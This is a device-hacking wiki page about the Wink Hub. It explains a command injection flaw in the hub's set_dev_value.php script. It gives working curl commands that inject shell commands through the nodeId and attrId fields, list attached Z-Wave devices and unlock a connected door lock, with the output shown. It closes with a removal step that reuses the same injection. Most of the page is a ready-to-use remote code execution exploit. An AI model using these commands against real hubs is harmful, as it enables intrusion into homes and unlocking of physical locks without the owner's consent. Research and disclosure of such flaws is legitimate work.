Wink Hub​​

"Although the information we release has been verified and shown to work to the best our knowledge, we cant be held accountable for bricked devices or roots gone wrong."

This page will be dedicated to a general overview, descriptions, and information related to the Wink Hub.

Purchase

Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device. Purchase the Wink Hub at Amazon

set_dev_value.php Command Execution

The Wink Hub runs a web server and within the server has a script that allows for remote command execution. This php code for this script can be seen in the photo below.

As you can see the "nodeId" and "attrId" values are used in the sudo command string that is created and then used in the php "passthru()" call. This allows us to execute commands by simply posting a command as either a "nodeId" or "attrId" using any shell command formats (";;", "$()", "|", "``").

Example:

curl "http://IP-OF-CAMERA/set_dev_value.php" -d "nodeId=a&attrId=;COMMAND-HERE;"

Accessing Peripherals

Accessing peripherals attached to the device can be accomplished using the "/usr/sbin/aprontest" binary.

This binary is capable of listing all the attached peripherals as well as the peripheral states and state types.

For example:

curl "http://IP-OF-CAMERA/set_dev_value.php" -d "attrId=a&nodeId=;/usr/sbin/aprontest -l;"
Found 1 devices in database...
MASTERID |     INTERCONNECT |                         USERNAME
       1 |            ZWAVE |      New SECURE_KEYPAD_DOOR_LOCK

curl "http://IP-OF-CAMERA/set_dev_value.php" -d "attrId=a&nodeId=;/usr/sbin/aprontest -m1 -l;"
Generic/Specific device types: 0x40/0x03
Manufacturer ID: 0x003b Product Type: 0x6341 Product Number: 0x5044
Device has 1 attributes...
New SECURE_KEYPAD_DOOR_LOCK
ATTRIBUTE |               DESCRIPTION |   TYPE | MODE |          GET |          SET
       10 |               Lock_Unlock |   BOOL |  R/W |         TRUE |         TRUE

Above you can see us querying the WinkHub from the bug within the "set_dev_value" PHP script to list the attached devices. We then use the "MASTERID" in the second query to find out exactly how to communicate with the attached peripheral.

Using the same "aprontest" binary, we can then manipulate the state of the attached device.

For example:

curl "http://IP-OF-CAMERA/set_dev_value.php" -d "attrId=a&nodeId=;/usr/sbin/aprontest -m1 -t 10 -u -v FALSE;"
Update device with master ID 1, setting value FALSE
Update callback: Status 0 on updating master ID: 1

curl "http://IP-OF-CAMERA/set_dev_value.php" -d "attrId=a&nodeId=;/usr/sbin/aprontest -m1 -l;"
Generic/Specific device types: 0x40/0x03
Manufacturer ID: 0x003b Product Type: 0x6341 Product Number: 0x5044
Device has 1 attributes...
New SECURE_KEYPAD_DOOR_LOCK
ATTRIBUTE |               DESCRIPTION |   TYPE | MODE |          GET |          SET
       10 |               Lock_Unlock |   BOOL |  R/W |        FALSE |        FALSE

The above example first sets the Lock_Unlock state to "FALSE" which unlocks the door lock. Then we query the device status again and confirm it is now "FALSE"

Fixing "set_dev_value.php" Bug

This script isn't actually used for anything and can be removed or moved. This can be done by using the original bug to remove the script for which the bug is contained.

curl "http://IP-OF-CAMERA/set_dev_value.php" -d "nodeId=a&attrId=;mv /var/www/set_dev_value.php /var/www/set_dev_value.php.txt;"
